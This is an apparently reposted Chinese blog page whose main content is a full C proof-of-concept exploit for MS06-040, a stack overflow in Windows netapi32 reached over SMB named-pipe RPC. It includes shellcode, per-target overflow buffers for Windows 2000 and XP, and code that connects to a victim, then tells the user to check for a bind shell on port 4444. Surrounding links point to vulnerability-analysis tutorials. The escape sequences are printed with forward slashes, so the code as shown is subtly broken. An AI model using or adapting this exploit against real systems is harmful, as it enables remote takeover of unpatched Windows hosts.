MS06-040 Remote Code Execution Proof of Concept

[漏洞分析] 漏洞分析:MS06-040 最近开始学习漏洞分析相关内容,完成对Windows相关安全机制的学习后,便是寻找实例进行练习,这MS06-040是一个经典的栈溢出漏洞,原理很好理解,在此分享一下自己的分析过程,希望对同样是漏洞分析新手的同学有所帮助 漏洞存在于netapi32.dll中的导出函数NetpwPathCanonicalize()里,原型为: int NetpwPathCanonicalize ( uint16 path[ ], // [in] path name uint8 c... 阅读详情
 /*
* MS06-040 Remote Code Execution Proof of Concept
*
* Ported by ub3r st4r aka iRP
* ---------------------------------------------------------------------
* Tested Against:
*  Windows XP SP1
*  Windows 2000 SP4
*
* Systems Affected:
*  Microsoft Windows 2000 SP0-SP4
*  Microsoft Windows XP SP0-SP1
*  Microsoft Windows NT 4.0
* ---------------------------------------------------------------------
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
* PRIVATE v.0.2 (08-27-06)
*/

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")

// bind uuid interface: 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
unsigned char DCERPC_Bind_RPC_Service[] =
       "/x05/x00/x0B/x03/x10/x00/x00/x00/x48/x00/x00/x00/x00/x00/x00/x00"
       "/xD0/x16/xD0/x16/x00/x00/x00/x00/x01/x00/x00/x00/x00/x00/x01/x00"
       "/xC8/x4F/x32/x4B/x70/x16/xD3/x01/x12/x78/x5A/x47/xBF/x6E/xE1/x88"
       "/x03/x00/x00/x00/x04/x5D/x88/x8A/xEB/x1C/xC9/x11/x9F/xE8/x08/x00"
       "/x2B/x10/x48/x60/x02/x00/x00/x00";

// request windows api: NetprPathCanonicalize (0x1f)
unsigned char DCERPC_Request_RPC_Service[] =
       "/x05/x00/x00/x03/x10/x00/x00/x00/x30/x08/x00/x00/x00/x00/x00/x00"
       "/x18/x08/x00/x00/x00/x00/x1f/x00/xff/xff/xff/xff/x01/x00/x00/x00"
       "/x00/x00/x00/x00/x01/x00/x00/x00/x00/x00/x00/x00";

       // path ...

unsigned char DCERPC_Request_RPC_Service_[] =
       "/xfa/x00/x00/x00/x02/x00/x00/x00/x00/x00/x00/x00/x02/x00/x00/x00"
       "/x00/x00/x00/x00/xfa/x00/x00/x00/x00/x00/x00/x00";

unsigned char sc[] =
       "/x6a/x51/x59/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/xa8/x97/x90"
       "/x88/x83/xeb/xfc/xe2/xf4/x29/x53/x6f/x67/x57/x68/xd4/x74/xc2/x7c"
       "/xdd/x60/x51/x68/x6f/x77/xc8/x1c/xfc/xac/x8c/x1c/xd5/xb4/x23/xeb"
       "/x95/xf0/xa9/x78/x1b/xc7/xb0/x1c/xcf/xa8/xa9/x7c/xd9/x03/x9c/x1c"
       "/x91/x66/x99/x57/x09/x24/x2c/x57/xe4/x8f/x69/x5d/x9d/x89/x6a/x7c"
       "/x64/xb3/xfc/xb3/xb8/xfd/x4d/x1c/xcf/xac/xa9/x7c/xf6/x03/xa4/xdc"
       "/x1b/xd7/xb4/x96/x7b/x8b/x84/x1c/x19/xe4/x8c/x8b/xf1/x4b/x99/x4c"
       "/xf4/x03/xeb/xa7/x1b/xc8/xa4/x1c/xe0/x94/x05/x1c/xd0/x80/xf6/xff"
       "/x1e/xc6/xa6/x7b/xc0/x77/x7e/xf1/xc3/xee/xc0/xa4/xa2/xe0/xdf/xe4"
       "/xa2/xd7/xfc/x68/x40/xe0/x63/x7a/x6c/xb3/xf8/x68/x46/xd7/x21/x72"
       "/xf6/x09/x45/x9f/x92/xdd/xc2/x95/x6f/x58/xc0/x4e/x99/x7d/x05/xc0"
       "/x6f/x5e/xfb/xc4/xc3/xdb/xfb/xd4/xc3/xcb/xfb/x68/x40/xee/xc0/x86"
       "/xcc/xee/xfb/x1e/x71/x1d/xc0/x33/x8a/xf8/x6f/xc0/x6f/x5e/xc2/x87"
       "/xc1/xdd/x57/x47/xf8/x2c/x05/xb9/x79/xdf/x57/x41/xc3/xdd/x57/x47"
       "/xf8/x6d/xe1/x11/xd9/xdf/x57/x41/xc0/xdc/xfc/xc2/x6f/x58/x3b/xff"
       "/x77/xf1/x6e/xee/xc7/x77/x7e/xc2/x6f/x58/xce/xfd/xf4/xee/xc0/xf4"
       "/xfd/x01/x4d/xfd/xc0/xd1/x81/x5b/x19/x6f/xc2/xd3/x19/x6a/x99/x57"
       "/x63/x22/x56/xd5/xbd/x76/xea/xbb/x03/x05/xd2/xaf/x3b/x23/x03/xff"
       "/xe2/x76/x1b/x81/x6f/xfd/xec/x68/x46/xd3/xff/xc5/xc1/xd9/xf9/xfd"
       "/x91/xd9/xf9/xc2/xc1/x77/x78/xff/x3d/x51/xad/x59/xc3/x77/x7e/xfd"
       "/x6f/x77/x9f/x68/x40/x03/xff/x6b/x13/x4c/xcc/x68/x46/xda/x57/x47"
       "/xf8/x67/x66/x77/xf0/xdb/x57/x41/x6f/x58";

int main(int argc, char* argv[])
{
       HANDLE hFile;
       NETRESOURCE nr;

       char szRemoteName[MAX_PATH], szPipePath[MAX_PATH];

       unsigned int i;

       unsigned char szInBuf[4096];
       unsigned long dwRead, nWritten;

       unsigned char szReqBuf[2096];

       if (argc < 3){
               printf("[-] Usage: ms06040poc <host> [target]/n");
               printf("/t1 - Windows 2000 SP0-SP4/n");
               printf("/t2 - Windows XP SP0-SP1/n");
               return -1;
       }

       memset(szReqBuf, 0, sizeof(szReqBuf));

       if (atoi(argv[2]) == 1) {
               unsigned char szBuff[1064];

               // build payload buffer
               memset(szBuff, '/x90', 1000);
               memcpy(szBuff+630, sc, sizeof(sc));

               for(i=1000; i<1064; i+=4) {
                       memcpy(szBuff+i, "/x04/x08/x02/x00", 4);
               }

               // build request buffer
               memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);
               memcpy(szReqBuf+44, "/x15/x02/x00/x00", 4); /* max count */
               memcpy(szReqBuf+48, "/x00/x00/x00/x00", 4); /* offset */
               memcpy(szReqBuf+52, "/x15/x02/x00/x00", 4); /* actual count */
               memcpy(szReqBuf+56, szBuff, sizeof(szBuff));
               memcpy(szReqBuf+1120, "/x00/x00/x00/x00", 4); /* align string */
               memcpy(szReqBuf+1124, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1);
               memcpy(szReqBuf+1140 , "/xeb/x02", 2);
       }
       if (atoi(argv[2]) == 2) {
               unsigned char szBuff[708];

               memset(szBuff, '/x90', 612); /* size of shellcode */
               memcpy(szBuff, sc, sizeof(sc));

               memcpy(szBuff+612, "/x0a/x08/x02/x00", 4);
               memset(szBuff+616, 'A', 8); // 8 bytes padding
               memcpy(szBuff+624, "/x04/x08/x02/x00", 4);
               memset(szBuff+628, '/x90', 32);
               memcpy(szBuff+660, "/x04/x08/x02/x00", 4);
               memset(szBuff+664, 'B', 8); // 8 bytes padding
               memcpy(szBuff+672, "/x04/x08/x02/x00", 4);
               memset(szBuff+676, '/x90', 32);

               // build request buffer
               memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);
               memcpy(szReqBuf+44, "/x63/x01/x00/x00", 4); /* max count */
               memcpy(szReqBuf+48, "/x00/x00/x00/x00", 4); /* offset */
               memcpy(szReqBuf+52, "/x63/x01/x00/x00", 4); /* actual count */
               memcpy(szReqBuf+56, szBuff, sizeof(szBuff));
               memcpy(szReqBuf+764, "/x00/x00/x00/x00", 4); /* align string */
               memcpy(szReqBuf+768, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1);
       }

       printf("[+] Connecting to %s ... /n", argv[1]);

       _snprintf(szRemoteName, sizeof(szRemoteName), "////%s//ipc$", argv[1]);
       nr.dwType = RESOURCETYPE_ANY;
       nr.lpLocalName = NULL;
       nr.lpProvider = NULL;
       nr.lpRemoteName = szRemoteName;
       if (WNetAddConnection2(&nr, "", "", 0) != NO_ERROR) {
               printf("[-] Failed to connect to host !/n");
               return -1;
       }

       _snprintf(szPipePath, sizeof(szPipePath), "////%s//pipe//browser", argv[1]);
       hFile = CreateFile(szPipePath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

       if (hFile == INVALID_HANDLE_VALUE) {
               printf("[-] Failed to open named pipe !/n");
               return -1;
       }

       printf("[+] Binding to RPC interface ... /n");
       if (TransactNamedPipe(hFile, DCERPC_Bind_RPC_Service, sizeof(DCERPC_Bind_RPC_Service), szInBuf, sizeof(szInBuf), &dwRead, NULL) == 0) {
               printf("[-] Failed to bind to interface !/n");
               CloseHandle(hFile);
               return -1;
       }

       printf("[+] Sending RPC request ... /n");
       if (!WriteFile(hFile, szReqBuf, sizeof(szReqBuf), &nWritten, 0)) {
               printf("[-] Unable to transmit RPC request !/n");
               CloseHandle(hFile);
               return -1;
       }

       printf("[+] Now check for shell on %s:4444 !/n", argv[1]);

       return 0;
}

深入浅出MS06-040 如果您根据本文的指导亲手完成了全部的7节实验内容,相信您对栈溢出的掌握和漏洞利用的认识一定会到一个更高的level。 立即下载

相关推荐

MS06040漏洞扫描工具

MS06040漏洞扫描工具,若无法运行,尝试用windows2000兼容性运行。

signature=2f5f7776a12b849050f88bd5b555c78c,node-demo/yarn-error.log at ea202f8005baeff250fdd8b11aebd...

Arguments:/Users/liujianwei/.nvm/versions/node/v10.17.0/bin/node /usr/local/bin/yarn add cryptoPATH:/Users/liujianwei/.nvm/versions/node/v10.17.0/bin:/Users/liujianwei/linuxscript:/usr/local/bin:/usr/...

weixin_31861647的博客 12万+

Android SSL证书固定实战:原理、方案与避坑指南

SSL/TLS协议是保障网络通信安全的基石,其核心原理是通过非对称加密和数字证书实现身份认证与数据加密。在移动应用开发中,为了防止中间人攻击,证书固定技术应运而生,它通过将服务器证书或公钥的哈希值预置在应用内,强制校验服务器身份,从而大幅提升通信链路的安全性。这一技术对于金融、电商等高安全要求场景尤为重要。本文聚焦Android平台,深入解析SPKI固定、Network Security Configuration与OkHttp CertificatePinner等主流方案,并针对证书更新、调试兼容等常见痛

weixin_33935636的博客 404

signature=4ff84eeb25a6a6b42a3cb5b1ba0eda5c,【脑残党福利】《天国:拯救(Kingdom Come: Deliverance)》天国拯救控制台代码大全!! 天国...

#钥匙1e7932a3-736a-49c6-baba-8ff7a0a86850 : keyring_stashesb54eaa25-f0e9-425b-8b29-1fb14a71de56 : keyring_doors009e075b-16e2-4666-8f46-e05670783fb9 : vk_key_sas_sashome11_chests00d32ef9-77b8-4eb0-b767-3...

weixin_39557199的博客 4万+

VS Code配置MASM32汇编环境:从安装到调试的完整指南

本文提供了一份详尽的指南,教你如何在VS Code中配置MASM32汇编开发环境,实现从安装、环境变量设置到编写、编译和调试32位Windows汇编窗口程序的完整工作流。通过集成现代编辑器的便利性与经典汇编工具链,旨在降低学习门槛,提升底层开发效率。

nn3456的博客 487

STM32F103C8T6与OV7670摄像头在TFT屏上的实时数字识别系统实现

本文详细介绍了基于STM32F103C8T6单片机和OV7670摄像头实现实时数字识别系统的全过程。系统通过图像采集、预处理、二值化和模板匹配算法,在TFT屏上实时显示识别结果,并针对资源受限的单片机环境提供了内存与性能优化策略,适用于智能家居、工业仪表读数等低成本嵌入式视觉应用场景。

open4的博客 279

signature=40d7662d1429dac6f7e77b1e4f00672f,HBuildX-UniApp-Ts-Template

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.# yarn lockfile v1"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.5.5":version "7.5.5"resolved "https://registry.npm.taobao.org/@babel...

weixin_32820457的博客 1万+

Proteus 8.9仿真五路抢答器:从74LS148编码到NE555报警的保姆级电路拆解

本文详细解析了使用Proteus 8.9仿真五路抢答器的完整设计流程,从74LS148优先编码器到NE555定时报警电路。通过保姆级的电路拆解和芯片选型指南,帮助读者掌握数字电路中的编码、锁存、译码和定时等核心技术,实现稳定可靠的抢答系统仿真。

weixin_30836759的博客 380

signature=a77ab60446c2be877535a2f8b191e6ff,quality-web/yarn.lock at master · MrJxySteven/quality-web...

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.# yarn lockfile v1"@babel/code-frame@^7.0.0":version "7.0.0"resolved "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/...

weixin_39957647的博客 3万+

【BAAS】基于supabase的知识库详细设计

为满足快速开发需要和减少开发及维护成本,使用BAAS(Backend-as-a-Service)模式可以很好的降低我们的后端维护成本,并提高前端对接效率。一般来说,BAAS是一种云服务模式,BaaS供应商会为提供一些通用的能力,例如用户身份验证、数据库管理、远程更新和推送通知(针对移动应用程序),以及云存储和自托管。BaaS最主流的是Google的firebase,具有相当完善的功能和集成方案,但他是收费的,而且在我们实际项目中,可能需要私有化部署,这时就需要一些开源的替代方案,例如主流的。

Ric的博客 1781

GNSS/INS松组合导航实战:如何用卡尔曼滤波提升定位精度(附MATLAB代码)

本文深入探讨了GNSS/INS松组合导航的工程实践,详细阐述了如何利用卡尔曼滤波算法融合卫星与惯性数据以提升定位精度。内容涵盖从仿真环境搭建、误差状态卡尔曼滤波器(ESKF)设计,到状态与观测方程实现、噪声参数调试及常见问题排查的全过程,并提供了可直接运行的MATLAB代码,为开发高精度、鲁棒的组合导航系统提供实战指南。

weixin_29057163的博客 165

signature=b36d0f576b75b4646b2ebd330587c145,bips/bip-0174.mediawiki at master · bitcoin/bips · GitHub...

BIP: 174Layer: ApplicationsTitle: Partially Signed Bitcoin Transaction FormatAuthor: Andrew Chow Comments-Summary: No comments yet.Comments-URI: https://github.com/bitcoin/bips/wiki/Comments:BIP-0174S...

weixin_32829465的博客 1万+

COMSOL模拟CO2驱替CH4:多物理场耦合建模与工程应用详解

在非常规天然气开发与碳封存工程中,多孔介质内的渗流、吸附与岩石变形相互耦合,使得CO2驱替CH4的产能预测和CO2封存评估无法仅靠经验公式完成。以达西定律描述裂隙流动、以扩展Langmuir方程刻画竞争吸附、用应力-吸附-渗透率关系关联煤岩变形,是多物理场耦合数值模拟的核心路径。COMSOL Multiphysics凭借内置渗流、固体力学与组分传递接口,能够将这些机制整合为可参数化扫描的仿真模型,为注气压力、井距、渗透率演化等方案设计提供量化依据。围绕CO2驱替CH4模拟的建模流程、参数取法与结果判读,可形

weixin_29574585的博客 162

signature=a20b3c3a6ff607accc831e6d492695f4,qfinance-token/yarn.lock at master · QFinanceDeFi/qfinanc...

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.# yarn lockfile v1"@babel/helper-module-imports@^7.12.1":version "7.12.5"resolved "https://registry.yarnpkg.com/@babel/helper-module-imp...

weixin_35317737的博客 9万+

TypeError: XGBClassifier.fit() got an unexpected keyword argument ‘early_stopping_rounds‘ 解决方案

本文主要介绍了TypeError: XGBClassifier.fit() got an unexpected keyword argument 'early_stopping_rounds’解决方案,希望能对使用XGBoost的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 1万+

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

signature=cce4afdcfcab19aaa0db7f57ff95f0f8,yarn.lock

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.# yarn lockfile v1"@ant-design-vue/babel-helper-vue-transform-on@^1.0.0":version "1.0.1"resolved "https://registry.npm.taobao.org/@ant-d...

weixin_39699670的博客 1万+

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

python面试题搜集

1. Python面试题搜集(一) 2019 Python最新面试题及答案16道题吐血总结!50道Python面试题集锦(附答案) Python是目前编程领域最受欢迎的语言。在本文中,我将总结Python面试中最常见的50个问题。每道题都提供参考答案,希望能够帮助你在2019年求职面试中脱颖而出,找到一份高薪工作。这些面试题涉及Python基础知识、Python编程、数据分析以及Python函数库等多个方面。 Q1、Python中的列表和元组有什么区别? Q2、Python的主要功能是什么? Python

花开如雨的博客 30万+

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

第11章 Tkinter 概述

python自带的GUI(Graphics User Interface)库是tkinter,其它可选的其它GUI库有: PyGObject 支持GTK+3 图形界面工具集 PyQt 支持Qt库,可跨Unix,Windows,Mac OS X平台使用 wxPython 可跨Unix,Windows,Mac OS X平台使用,根据平台显示对应的风格 # tkinter库中的类 类 继承的父类 Tk Wm, Misc Topleve Wm, BaseWidget BaseWidget

Ailsa2019的博客 8万+

15 Awesome Sites with Stuning Stock HD Videos

From:http://www.createthebridge.com/blog/free-hd-video-and-video-clips/ On our previous blog post, 27 Sites for Awesome Free Stock Photos, we talked about the importance of carefully choosing the i

上帝已逝,自求多福 53万+

码农的表白

码农的创意的数字表达爱意的方式,包括利用编程技巧生成心形和玫瑰图案,以及使用二进制和压缩算法进行信息加密。首先,通过在Sublime Text中输入特定的数字序列并搜索所有“9”,意外地生成了一种心形图案。接着,介绍了两种在HTML中使用Canvas元素绘制动态心形的方法,可通过将提供的JavaScript代码直接粘贴至Chrome浏览器的地址栏来预览效果。此外,还展示了一种用“x”和“o”代表二进制的“1”和“0”的编码方式,通过简单的C++程序实现对“I Love You”的编码与解码。进一步,文

生活在别处 9万+

RPC漏洞的通用分析方法(图)

 作者:Friddy一.工具准备1.IDA Pro Advanced 5.2(强大的静态逆向工具)2.HexRays(强大的可以将汇编代码转换为高质量的C代码的IDA插件)3.mIDA(极好的抽象RPC接口的IDA插件)二.找到溢出点1.补丁比较。(1)保留没有更新的文件到文件夹Old(2)打补丁,将更新后的文件放到文件夹New(3)使用“Darun Grim”等类似的补丁比较工具进行

瞎几把学 2929

MS06-040漏洞研究(上)【转载】

课程简介 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的。但是如果漏洞出现在Windows系统中,那么情况就会很不一样了。毕竟Windows统治了全球九成以上的计算机操作系统,因此如果该系统中出现了漏洞,而这个漏洞又被别有用心者所利用,那么就必然会出现数以亿计的受害者。 课程介绍 ...

weixin_30390075的博客 740

MS06-040漏洞研究(中)【转载】

课程简介 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。 课程介绍 实验环境: 操作机:Windows XP 实验工具: Tools Path IDA Pro ...

weixin_30390075的博客 488

DCE/MS RPC旁窥

目录:    ☆ DCE/MS RPC架构简介    ☆ BIND操作简介        1) "BIND Over TCP"简介        2) "BIND Over Transaction"简介        3) "BIND Over Write AndX"简介        4) "BIND Over ..."扩展        5) SMB_COM_TRANSACTION2与SMB_

9223
上一篇: Inside Code Virtualizer
下一篇: 编程通过WMI获取系统信息
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值